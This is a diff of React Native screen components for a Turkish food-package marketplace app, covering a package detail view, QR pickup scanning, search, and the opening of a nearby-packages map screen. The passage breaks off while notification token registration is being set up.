<Text style={styles.bottomPriceValue}>{pkg.price.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
<TouchableOpacity
|
||||||
|
style={[styles.purchaseButton, purchasing && styles.purchaseButtonDisabled]}
|
||||||
|
onPress={handlePurchase}
|
||||||
|
disabled={purchasing}>
|
||||||
|
<Text style={styles.purchaseText}>
|
||||||
|
{purchasing ? t('packageDetail.purchasing') : t('packageDetail.purchase')}
|
||||||
|
</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
</View>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: colors.background},
|
||||||
|
loadingContainer: {
|
||||||
|
flex: 1,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: colors.background,
|
||||||
|
},
|
||||||
|
errorText: {...typography.body, color: colors.textSecondary},
|
||||||
|
headerBar: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingBottom: 12,
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
},
|
||||||
|
backButton: {
|
||||||
|
width: 40,
|
||||||
|
height: 40,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
backIcon: {fontSize: 22, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
scroll: {paddingBottom: 100},
|
||||||
|
hero: {
|
||||||
|
height: 200,
|
||||||
|
backgroundColor: '#F3F4F6',
|
||||||
|
position: 'relative',
|
||||||
|
},
|
||||||
|
heroImage: {width: '100%', height: '100%'},
|
||||||
|
discountBadge: {
|
||||||
|
backgroundColor: colors.error,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
paddingHorizontal: spacing.lg,
|
||||||
|
paddingVertical: spacing.xs,
|
||||||
|
marginTop: spacing.md,
|
||||||
|
},
|
||||||
|
discountText: {...typography.bodyBold, color: colors.textWhite},
|
||||||
|
infoSection: {
|
||||||
|
padding: spacing.xl,
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
borderBottomWidth: 1,
|
||||||
|
borderBottomColor: colors.border,
|
||||||
|
},
|
||||||
|
title: {...typography.h2, color: colors.textPrimary},
|
||||||
|
storeName: {...typography.captionBold, color: colors.primary, marginTop: spacing.xs},
|
||||||
|
address: {...typography.caption, color: colors.textSecondary, marginTop: 2},
|
||||||
|
section: {
|
||||||
|
padding: spacing.xl,
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
marginTop: spacing.sm,
|
||||||
|
},
|
||||||
|
sectionTitle: {...typography.captionBold, color: colors.textSecondary, marginBottom: spacing.md},
|
||||||
|
description: {...typography.body, color: colors.textPrimary, lineHeight: 24},
|
||||||
|
detailRow: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: spacing.sm,
|
||||||
|
borderBottomWidth: StyleSheet.hairlineWidth,
|
||||||
|
borderBottomColor: colors.borderLight,
|
||||||
|
},
|
||||||
|
detailLabel: {...typography.caption, color: colors.textSecondary},
|
||||||
|
detailValue: {...typography.captionBold, color: colors.textPrimary},
|
||||||
|
priceRow: {flexDirection: 'row', alignItems: 'baseline', gap: spacing.sm},
|
||||||
|
price: {...typography.price, color: colors.primary},
|
||||||
|
originalPrice: {
|
||||||
|
...typography.caption,
|
||||||
|
color: colors.textLight,
|
||||||
|
textDecorationLine: 'line-through',
|
||||||
|
},
|
||||||
|
statusActive: {color: colors.success},
|
||||||
|
statusInactive: {color: colors.error},
|
||||||
|
deliveryOptions: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
gap: spacing.md,
|
||||||
|
},
|
||||||
|
deliveryOption: {
|
||||||
|
flex: 1,
|
||||||
|
alignItems: 'center',
|
||||||
|
paddingVertical: spacing.lg,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
borderWidth: 1.5,
|
||||||
|
borderColor: colors.border,
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
},
|
||||||
|
deliveryOptionActive: {
|
||||||
|
borderColor: colors.primary,
|
||||||
|
backgroundColor: '#E8F5E9',
|
||||||
|
},
|
||||||
|
deliveryEmoji: {fontSize: 24, marginBottom: spacing.xs},
|
||||||
|
deliveryLabel: {...typography.captionBold, color: colors.textSecondary},
|
||||||
|
deliveryLabelActive: {color: colors.primary},
|
||||||
|
addressInput: {
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
borderWidth: 1,
|
||||||
|
borderColor: colors.border,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
padding: spacing.lg,
|
||||||
|
marginTop: spacing.lg,
|
||||||
|
fontSize: 16,
|
||||||
|
color: colors.textPrimary,
|
||||||
|
minHeight: 60,
|
||||||
|
textAlignVertical: 'top',
|
||||||
|
},
|
||||||
|
bottomBar: {
|
||||||
|
position: 'absolute',
|
||||||
|
bottom: 0,
|
||||||
|
left: 0,
|
||||||
|
right: 0,
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: colors.backgroundWhite,
|
||||||
|
paddingHorizontal: spacing.xl,
|
||||||
|
paddingVertical: spacing.lg,
|
||||||
|
borderTopWidth: 1,
|
||||||
|
borderTopColor: colors.border,
|
||||||
|
shadowColor: '#000',
|
||||||
|
shadowOffset: {width: 0, height: -2},
|
||||||
|
shadowOpacity: 0.1,
|
||||||
|
shadowRadius: 4,
|
||||||
|
elevation: 5,
|
||||||
|
},
|
||||||
|
bottomPrice: {flex: 1},
|
||||||
|
bottomPriceLabel: {...typography.small, color: colors.textSecondary},
|
||||||
|
bottomPriceValue: {...typography.h2, color: colors.primary},
|
||||||
|
purchaseButton: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
borderRadius: borderRadius.md,
|
||||||
|
paddingHorizontal: spacing.xxl,
|
||||||
|
paddingVertical: spacing.lg,
|
||||||
|
},
|
||||||
|
purchaseButtonDisabled: {opacity: 0.6},
|
||||||
|
purchaseText: {...typography.button, color: colors.textWhite},
|
||||||
|
});
|
||||||
@@ -0,0 +1,161 @@
|
|||||||
|
import React, {useState, useRef} from 'react';
|
||||||
|
import {View, Text, StyleSheet, TouchableOpacity, Alert, ActivityIndicator} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import { CameraView, useCameraPermissions } from 'expo-camera';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../../theme';
|
||||||
|
import {confirmPickup} from '../../api/orders';
|
||||||
|
|
||||||
|
export default function QrScanScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [scanning, setScanning] = useState(true);
|
||||||
|
const [processing, setProcessing] = useState(false);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
const processedRef = useRef(false);
|
||||||
|
|
||||||
|
const handleQrRead = async (event: any) => {
|
||||||
|
if (processedRef.current || processing) return;
|
||||||
|
const qrData = event.nativeEvent?.codeStringValue || event?.nativeEvent?.codeStringValue;
|
||||||
|
if (!qrData) return;
|
||||||
|
|
||||||
|
processedRef.current = true;
|
||||||
|
setScanning(false);
|
||||||
|
setProcessing(true);
|
||||||
|
|
||||||
|
try {
|
||||||
|
// QR data format: "orderId:qrToken" or just qrToken
|
||||||
|
let orderId = '';
|
||||||
|
let qrToken = '';
|
||||||
|
|
||||||
|
if (qrData.includes(':')) {
|
||||||
|
const parts = qrData.split(':');
|
||||||
|
orderId = parts[0];
|
||||||
|
qrToken = parts[1];
|
||||||
|
} else {
|
||||||
|
// Try as pure qr_token — backend will match
|
||||||
|
qrToken = qrData;
|
||||||
|
orderId = qrData;
|
||||||
|
}
|
||||||
|
|
||||||
|
const order = await confirmPickup(orderId, qrToken);
|
||||||
|
|
||||||
|
Alert.alert(
|
||||||
|
t('qrScan.successTitle'),
|
||||||
|
t('qrScan.successMessage', {orderId: order.id.slice(0, 8).toUpperCase(), price: order.total_price.toFixed(0)}),
|
||||||
|
[{text: t('common.ok'), onPress: () => navigation.goBack()}],
|
||||||
|
);
|
||||||
|
} catch (err: any) {
|
||||||
|
const msg = err?.response?.data?.message || t('qrScan.errorMessage');
|
||||||
|
Alert.alert(t('common.error'), msg, [
|
||||||
|
{text: t('qrScan.retryButton'), onPress: () => {
|
||||||
|
processedRef.current = false;
|
||||||
|
setScanning(true);
|
||||||
|
setProcessing(false);
|
||||||
|
}},
|
||||||
|
{text: t('common.cancel'), onPress: () => navigation.goBack()},
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Header */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity onPress={() => navigation.goBack()} style={styles.backBtn}>
|
||||||
|
<Text style={styles.backIcon}>←</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
<Text style={styles.headerTitle}>{t('qrScan.title')}</Text>
|
||||||
|
<View style={{width: 40}} />
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Camera */}
|
||||||
|
<View style={styles.cameraContainer}>
|
||||||
|
{scanning && (
|
||||||
|
<CameraView
|
||||||
|
style={styles.camera}
|
||||||
|
facing="back"
|
||||||
|
barcodeScannerSettings={{ barcodeTypes: ['qr'] }}
|
||||||
|
onBarcodeScanned={(result) => handleQrRead({ nativeEvent: { codeStringValue: result.data } })}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{/* Overlay */}
|
||||||
|
<View style={styles.overlay}>
|
||||||
|
<View style={styles.scanFrame}>
|
||||||
|
{processing && (
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Instructions */}
|
||||||
|
<View style={styles.instructions}>
|
||||||
|
<Text style={styles.instructionTitle}>
|
||||||
|
{processing ? t('qrScan.verifying') : t('qrScan.scanPrompt')}
|
||||||
|
</Text>
|
||||||
|
<Text style={styles.instructionText}>
|
||||||
|
{t('qrScan.instructions')}
|
||||||
|
</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#000'},
|
||||||
|
|
||||||
|
header: {
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
justifyContent: 'space-between',
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
paddingBottom: 12,
|
||||||
|
backgroundColor: 'rgba(0,0,0,0.8)',
|
||||||
|
zIndex: 10,
|
||||||
|
},
|
||||||
|
backBtn: {width: 40, height: 40, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
backIcon: {fontSize: 24, color: '#FFFFFF'},
|
||||||
|
headerTitle: {fontSize: 17, fontWeight: '700', color: '#FFFFFF'},
|
||||||
|
|
||||||
|
cameraContainer: {
|
||||||
|
flex: 1,
|
||||||
|
position: 'relative',
|
||||||
|
},
|
||||||
|
camera: {
|
||||||
|
flex: 1,
|
||||||
|
},
|
||||||
|
overlay: {
|
||||||
|
...StyleSheet.absoluteFillObject,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
scanFrame: {
|
||||||
|
width: 250,
|
||||||
|
height: 250,
|
||||||
|
borderWidth: 3,
|
||||||
|
borderColor: colors.primary,
|
||||||
|
borderRadius: 16,
|
||||||
|
justifyContent: 'center',
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
|
||||||
|
instructions: {
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
paddingHorizontal: 24,
|
||||||
|
paddingVertical: 24,
|
||||||
|
alignItems: 'center',
|
||||||
|
},
|
||||||
|
instructionTitle: {
|
||||||
|
fontSize: 18,
|
||||||
|
fontWeight: '700',
|
||||||
|
color: '#1A1A1A',
|
||||||
|
marginBottom: 8,
|
||||||
|
},
|
||||||
|
instructionText: {
|
||||||
|
fontSize: 14,
|
||||||
|
color: '#6B7280',
|
||||||
|
textAlign: 'center',
|
||||||
|
lineHeight: 20,
|
||||||
|
},
|
||||||
|
});
|
||||||
@@ -0,0 +1,267 @@
|
|||||||
|
import React, {useState, useEffect, useCallback} from 'react';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
TextInput,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
FlatList,
|
||||||
|
Image,
|
||||||
|
ActivityIndicator,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import {colors} from '../../theme';
|
||||||
|
import * as searchApi from '../../api/search';
|
||||||
|
import type {PackageNearby} from '../../types/models';
|
||||||
|
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
|
||||||
|
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
|
||||||
|
const POPULAR_SEARCHES = [
|
||||||
|
'Fırın', 'Pastane', 'Restoran', 'Market', 'Börek', 'Ekmek', 'Tatlı', 'Kahvaltı',
|
||||||
|
];
|
||||||
|
|
||||||
|
const POPULAR_CATEGORIES = [
|
||||||
|
{label: 'Fırın', image: `${BASE_URL}/package-bakery.png`, category: 'bakery'},
|
||||||
|
{label: 'Restoran', image: `${BASE_URL}/package-restaurant.png`, category: 'restaurant'},
|
||||||
|
{label: 'Pastane', image: `${BASE_URL}/package-pastry.png`, category: 'pastry'},
|
||||||
|
{label: 'Market', image: `${BASE_URL}/package-market.png`, category: 'market'},
|
||||||
|
];
|
||||||
|
|
||||||
|
export default function SearchScreen({navigation}: any) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const [query, setQuery] = useState('');
|
||||||
|
const [results, setResults] = useState<PackageNearby[]>([]);
|
||||||
|
const [searching, setSearching] = useState(false);
|
||||||
|
const [hasSearched, setHasSearched] = useState(false);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const handleSearch = useCallback(async (q: string) => {
|
||||||
|
if (q.trim().length < 2) {
|
||||||
|
setResults([]);
|
||||||
|
setHasSearched(false);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
setSearching(true);
|
||||||
|
setHasSearched(true);
|
||||||
|
try {
|
||||||
|
const data = await searchApi.searchPackages(q);
|
||||||
|
setResults(data);
|
||||||
|
} catch {
|
||||||
|
setResults([]);
|
||||||
|
} finally {
|
||||||
|
setSearching(false);
|
||||||
|
}
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
// Debounced search
|
||||||
|
useEffect(() => {
|
||||||
|
const timer = setTimeout(() => handleSearch(query), 400);
|
||||||
|
return () => clearTimeout(timer);
|
||||||
|
}, [query, handleSearch]);
|
||||||
|
|
||||||
|
const handleCategoryPress = (_category: string) => {
|
||||||
|
navigation.goBack();
|
||||||
|
// TODO: Pass selected category back to parent for filtering
|
||||||
|
};
|
||||||
|
|
||||||
|
const handleResultPress = (item: PackageNearby) => {
|
||||||
|
navigation.navigate('PackageDetail', {
|
||||||
|
packageId: item.id,
|
||||||
|
storeName: item.store_name,
|
||||||
|
storeAddress: item.store_address,
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
|
return (
|
||||||
|
<View style={styles.container}>
|
||||||
|
{/* Search header */}
|
||||||
|
<View style={[styles.header, {paddingTop: insets.top + 8}]}>
|
||||||
|
<TouchableOpacity onPress={() => navigation.goBack()} style={styles.backBtn}>
|
||||||
|
<Icon name="arrow-left" size={22} color="#FFFFFF" />
|
||||||
|
</TouchableOpacity>
|
||||||
|
<View style={styles.searchBar}>
|
||||||
|
<Icon name="magnify" size={20} color="#9CA3AF" />
|
||||||
|
<TextInput
|
||||||
|
style={styles.searchInput}
|
||||||
|
placeholder={t('search.placeholder')}
|
||||||
|
placeholderTextColor="#9CA3AF"
|
||||||
|
value={query}
|
||||||
|
onChangeText={setQuery}
|
||||||
|
autoFocus
|
||||||
|
/>
|
||||||
|
{query.length > 0 && (
|
||||||
|
<TouchableOpacity onPress={() => setQuery('')}>
|
||||||
|
<Icon name="close" size={18} color="#9CA3AF" />
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
|
||||||
|
{/* Content */}
|
||||||
|
{!hasSearched ? (
|
||||||
|
<FlatList
|
||||||
|
ListHeaderComponent={
|
||||||
|
<>
|
||||||
|
{/* Popular categories (YS style — photo cards) */}
|
||||||
|
<Text style={styles.sectionTitle}>{t('search.popularCategories')}</Text>
|
||||||
|
<FlatList
|
||||||
|
horizontal
|
||||||
|
showsHorizontalScrollIndicator={false}
|
||||||
|
data={POPULAR_CATEGORIES}
|
||||||
|
keyExtractor={item => item.category}
|
||||||
|
contentContainerStyle={styles.categoriesList}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.categoryCard}
|
||||||
|
onPress={() => handleCategoryPress(item.category)}
|
||||||
|
activeOpacity={0.8}>
|
||||||
|
<Image source={{uri: item.image}} style={styles.categoryImage} resizeMode="cover" />
|
||||||
|
<Text style={styles.categoryLabel}>{item.label}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
/>
|
||||||
|
|
||||||
|
{/* Popular searches (YS style — pill tags) */}
|
||||||
|
<Text style={styles.sectionTitle}>{t('search.popularSearches')}</Text>
|
||||||
|
<View style={styles.tagsContainer}>
|
||||||
|
{POPULAR_SEARCHES.map(tag => (
|
||||||
|
<TouchableOpacity
|
||||||
|
key={tag}
|
||||||
|
style={styles.tag}
|
||||||
|
onPress={() => setQuery(tag)}>
|
||||||
|
<Text style={styles.tagText}>{tag}</Text>
|
||||||
|
</TouchableOpacity>
|
||||||
|
))}
|
||||||
|
</View>
|
||||||
|
</>
|
||||||
|
}
|
||||||
|
data={[]}
|
||||||
|
renderItem={() => null}
|
||||||
|
/>
|
||||||
|
) : searching ? (
|
||||||
|
<View style={styles.loadingContainer}>
|
||||||
|
<ActivityIndicator size="large" color={colors.primary} />
|
||||||
|
</View>
|
||||||
|
) : (
|
||||||
|
<FlatList
|
||||||
|
data={results}
|
||||||
|
keyExtractor={item => item.id}
|
||||||
|
contentContainerStyle={styles.resultsList}
|
||||||
|
ListHeaderComponent={
|
||||||
|
<Text style={styles.resultCount}>
|
||||||
|
{results.length > 0 ? t('search.resultCount', {count: results.length}) : ''}
|
||||||
|
</Text>
|
||||||
|
}
|
||||||
|
renderItem={({item}) => (
|
||||||
|
<TouchableOpacity
|
||||||
|
style={styles.resultCard}
|
||||||
|
onPress={() => handleResultPress(item)}
|
||||||
|
activeOpacity={0.8}>
|
||||||
|
<Image
|
||||||
|
source={{uri: `${BASE_URL}/package-${item.category || 'bakery'}.png`}}
|
||||||
|
style={styles.resultImage}
|
||||||
|
resizeMode="cover"
|
||||||
|
/>
|
||||||
|
<View style={styles.resultInfo}>
|
||||||
|
<Text style={styles.resultStore} numberOfLines={1}>{item.store_name}</Text>
|
||||||
|
<Text style={styles.resultTitle} numberOfLines={1}>{item.title}</Text>
|
||||||
|
<View style={styles.resultPriceRow}>
|
||||||
|
<Text style={styles.resultPrice}>{item.price.toFixed(0)} TL</Text>
|
||||||
|
<Text style={styles.resultOriginal}>{item.original_value.toFixed(0)} TL</Text>
|
||||||
|
</View>
|
||||||
|
</View>
|
||||||
|
</TouchableOpacity>
|
||||||
|
)}
|
||||||
|
ListEmptyComponent={
|
||||||
|
<View style={styles.emptySearch}>
|
||||||
|
<Icon name="magnify" size={48} color="#D1D5DB" />
|
||||||
|
<Text style={styles.emptyTitle}>{t('search.emptyTitle')}</Text>
|
||||||
|
<Text style={styles.emptyText}>{t('search.emptyText')}</Text>
|
||||||
|
</View>
|
||||||
|
}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
</View>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const styles = StyleSheet.create({
|
||||||
|
container: {flex: 1, backgroundColor: '#F8F8F8'},
|
||||||
|
|
||||||
|
header: {
|
||||||
|
backgroundColor: colors.primary,
|
||||||
|
paddingBottom: 12,
|
||||||
|
paddingHorizontal: 16,
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
gap: 10,
|
||||||
|
},
|
||||||
|
backBtn: {padding: 4},
|
||||||
|
searchBar: {
|
||||||
|
flex: 1,
|
||||||
|
flexDirection: 'row',
|
||||||
|
alignItems: 'center',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
borderRadius: 10,
|
||||||
|
paddingHorizontal: 12,
|
||||||
|
height: 42,
|
||||||
|
gap: 8,
|
||||||
|
},
|
||||||
|
searchInput: {flex: 1, fontSize: 14, color: '#1A1A1A', padding: 0},
|
||||||
|
|
||||||
|
sectionTitle: {
|
||||||
|
fontSize: 18, fontWeight: '700', color: '#1A1A1A',
|
||||||
|
paddingHorizontal: 16, paddingTop: 20, paddingBottom: 12,
|
||||||
|
},
|
||||||
|
|
||||||
|
// Categories (YS style)
|
||||||
|
categoriesList: {paddingHorizontal: 16, gap: 12},
|
||||||
|
categoryCard: {
|
||||||
|
width: 140, height: 120, borderRadius: 12, overflow: 'hidden',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
|
||||||
|
},
|
||||||
|
categoryImage: {width: '100%', height: 80},
|
||||||
|
categoryLabel: {
|
||||||
|
fontSize: 14, fontWeight: '600', color: '#1A1A1A',
|
||||||
|
textAlign: 'center', paddingVertical: 8,
|
||||||
|
},
|
||||||
|
|
||||||
|
// Tags (YS style pill chips)
|
||||||
|
tagsContainer: {
|
||||||
|
flexDirection: 'row', flexWrap: 'wrap',
|
||||||
|
paddingHorizontal: 16, gap: 8,
|
||||||
|
},
|
||||||
|
tag: {
|
||||||
|
paddingHorizontal: 16, paddingVertical: 10,
|
||||||
|
borderRadius: 20, borderWidth: 1, borderColor: '#E5E7EB',
|
||||||
|
backgroundColor: '#FFFFFF',
|
||||||
|
},
|
||||||
|
tagText: {fontSize: 14, color: '#374151', fontWeight: '500'},
|
||||||
|
|
||||||
|
// Results
|
||||||
|
loadingContainer: {flex: 1, justifyContent: 'center', alignItems: 'center'},
|
||||||
|
resultsList: {paddingHorizontal: 16, paddingTop: 8, paddingBottom: 100},
|
||||||
|
resultCount: {fontSize: 13, color: '#9CA3AF', marginBottom: 12},
|
||||||
|
resultCard: {
|
||||||
|
flexDirection: 'row', backgroundColor: '#FFFFFF', borderRadius: 12,
|
||||||
|
marginBottom: 10, overflow: 'hidden',
|
||||||
|
shadowColor: '#000', shadowOffset: {width: 0, height: 1},
|
||||||
|
shadowOpacity: 0.05, shadowRadius: 4, elevation: 2,
|
||||||
|
},
|
||||||
|
resultImage: {width: 100, height: 90},
|
||||||
|
resultInfo: {flex: 1, padding: 12, justifyContent: 'center'},
|
||||||
|
resultStore: {fontSize: 12, fontWeight: '600', color: '#6B7280', marginBottom: 2},
|
||||||
|
resultTitle: {fontSize: 15, fontWeight: '700', color: '#1A1A1A', marginBottom: 6},
|
||||||
|
resultPriceRow: {flexDirection: 'row', alignItems: 'baseline', gap: 6},
|
||||||
|
resultPrice: {fontSize: 16, fontWeight: '800', color: colors.primary},
|
||||||
|
resultOriginal: {fontSize: 12, color: '#9CA3AF', textDecorationLine: 'line-through'},
|
||||||
|
|
||||||
|
// Empty
|
||||||
|
emptySearch: {alignItems: 'center', paddingTop: 60},
|
||||||
|
emptyTitle: {fontSize: 18, fontWeight: '700', color: '#1A1A1A', marginTop: 12},
|
||||||
|
emptyText: {fontSize: 14, color: '#6B7280', marginTop: 4},
|
||||||
|
});
|
||||||
@@ -0,0 +1,769 @@
|
|||||||
|
import React, {useEffect, useState, useCallback} from 'react';
|
||||||
|
import {useFocusEffect} from '@react-navigation/native';
|
||||||
|
import {
|
||||||
|
View,
|
||||||
|
Text,
|
||||||
|
FlatList,
|
||||||
|
TouchableOpacity,
|
||||||
|
StyleSheet,
|
||||||
|
RefreshControl,
|
||||||
|
StatusBar,
|
||||||
|
ScrollView,
|
||||||
|
Image,
|
||||||
|
Alert,
|
||||||
|
} from 'react-native';
|
||||||
|
import {useSafeAreaInsets} from 'react-native-safe-area-context';
|
||||||
|
import {colors} from '../../theme';
|
||||||
|
import {useLocationStore} from '../../store/locationStore';
|
||||||
|
import client from '../../api/client';
|
||||||
|
// TODO: Replace with expo-notifications in Faz 4
|
||||||
|
const messaging = Object.assign(
|
||||||
|
() => ({ requestPermission: async () => 1, getToken: async () => '' }),
|
||||||
|
{ AuthorizationStatus: { AUTHORIZED: 1, PROVISIONAL: 2, NOT_DETERMINED: -1, DENIED: 0 } }
|
||||||
|
);
|
||||||
|
import {useTranslation} from 'react-i18next';
|
||||||
|
import Icon from 'react-native-vector-icons/MaterialCommunityIcons';
|
||||||
|
import OfflineBanner from '../../components/OfflineBanner';
|
||||||
|
import AnnouncementBanner from '../../components/AnnouncementBanner';
|
||||||
|
import * as packagesApi from '../../api/packages';
|
||||||
|
import type {PackageNearby, StoreType} from '../../types/models';
|
||||||
|
import PackageCard from '../../components/PackageCard';
|
||||||
|
import FilterModal from '../../components/FilterModal';
|
||||||
|
import type {FilterState, FilterSection} from '../../components/FilterModal';
|
||||||
|
import AsyncStorage from '@react-native-async-storage/async-storage';
|
||||||
|
import type {NativeStackScreenProps} from '@react-navigation/native-stack';
|
||||||
|
import type {YemekStackParamList} from '../../navigation/MainTabNavigator';
|
||||||
|
|
||||||
|
const BASE_URL = 'https://bereketli.pezkiwi.app';
|
||||||
|
|
||||||
|
const CATEGORIES: {key: StoreType | 'all'; labelKey: string; image: string | null; icon: string; color: string}[] = [
|
||||||
|
{key: 'all', labelKey: 'packages.categoryAll', image: `${BASE_URL}/bereketli_paket.png`, icon: '🍽️', color: '#2D6A4F'},
|
||||||
|
{key: 'bakery', labelKey: 'packages.categoryBakery', image: `${BASE_URL}/package-bakery.png`, icon: '🍞', color: '#E8A838'},
|
||||||
|
{key: 'restaurant', labelKey: 'packages.categoryRestaurant', image: `${BASE_URL}/package-restaurant.png`, icon: '🍲', color: '#EF4444'},
|
||||||
|
{key: 'pastry', labelKey: 'packages.categoryPastry', image: `${BASE_URL}/package-pastry.png`, icon: '🍰', color: '#EC4899'},
|
||||||
|
{key: 'market', labelKey: 'packages.categoryMarket', image: `${BASE_URL}/package-market.png`, icon: '🛒', color: '#10B981'},
|
||||||
|
];
|
||||||
|
|
||||||
|
type Props = NativeStackScreenProps<YemekStackParamList, 'YemekMap'>;
|
||||||
|
|
||||||
|
function CategoryImage({uri, icon}: {uri: string | null; icon: string}) {
|
||||||
|
const [failed, setFailed] = React.useState(false);
|
||||||
|
if (!uri || failed) {
|
||||||
|
return <Text style={catImgStyles.icon}>{icon}</Text>;
|
||||||
|
}
|
||||||
|
return (
|
||||||
|
<Image
|
||||||
|
source={{uri}}
|
||||||
|
style={catImgStyles.image}
|
||||||
|
resizeMode="cover"
|
||||||
|
onError={() => setFailed(true)}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const catImgStyles = StyleSheet.create({
|
||||||
|
image: {width: 52, height: 52, borderRadius: 26},
|
||||||
|
icon: {fontSize: 24},
|
||||||
|
});
|
||||||
|
|
||||||
|
export default function YemekMapScreen({navigation}: Props) {
|
||||||
|
const {t} = useTranslation();
|
||||||
|
const {latitude, longitude, address, updateLocation} = useLocationStore();
|
||||||
|
const [packages, setPackages] = useState<PackageNearby[]>([]);
|
||||||
|
const [category, setCategory] = useState<StoreType | 'all'>('all');
|
||||||
|
const [loading, setLoading] = useState(false);
|
||||||
|
const [filterVisible, setFilterVisible] = useState(false);
|
||||||
|
const [filterSection, setFilterSection] = useState<FilterSection | undefined>(undefined);
|
||||||
|
const [activeFilter, setActiveFilter] = useState<FilterState | null>(null);
|
||||||
|
const [radius, setRadius] = useState(0); // Default: Tümü (show all)
|
||||||
|
const [notifEnabled, setNotifEnabled] = useState(false);
|
||||||
|
|
||||||
|
// Check if notification permission was already granted
|
||||||
|
useEffect(() => {
|
||||||
|
AsyncStorage.getItem('@bereketli_notif_enabled').then(val => {
|
||||||
|
if (val === 'true') setNotifEnabled(true);
|
||||||
|
}).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
const insets = useSafeAreaInsets();
|
||||||
|
|
||||||
|
const handleNotificationToggle = async () => {
|
||||||
|
try {
|
||||||
|
// 1. Request notification permission from Android
|
||||||
|
const authStatus = await messaging().requestPermission();
|
||||||
|
const enabled =
|
||||||
|
authStatus === messaging.AuthorizationStatus.AUTHORIZED ||
|
||||||
|
authStatus === messaging.AuthorizationStatus.PROVISIONAL;
|
||||||
|
|
||||||
|
if (!enabled) {
|
||||||
|
Alert.alert(t('packages.notificationPermission'), t('packages.notificationPermissionMsg'));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. Get real FCM token
|
||||||
|
const fcmToken = await messaging().getToken();
|
||||||
|
|
||||||
|
// 3. Register token with backend (backend expects {token: string})
|
||||||
|
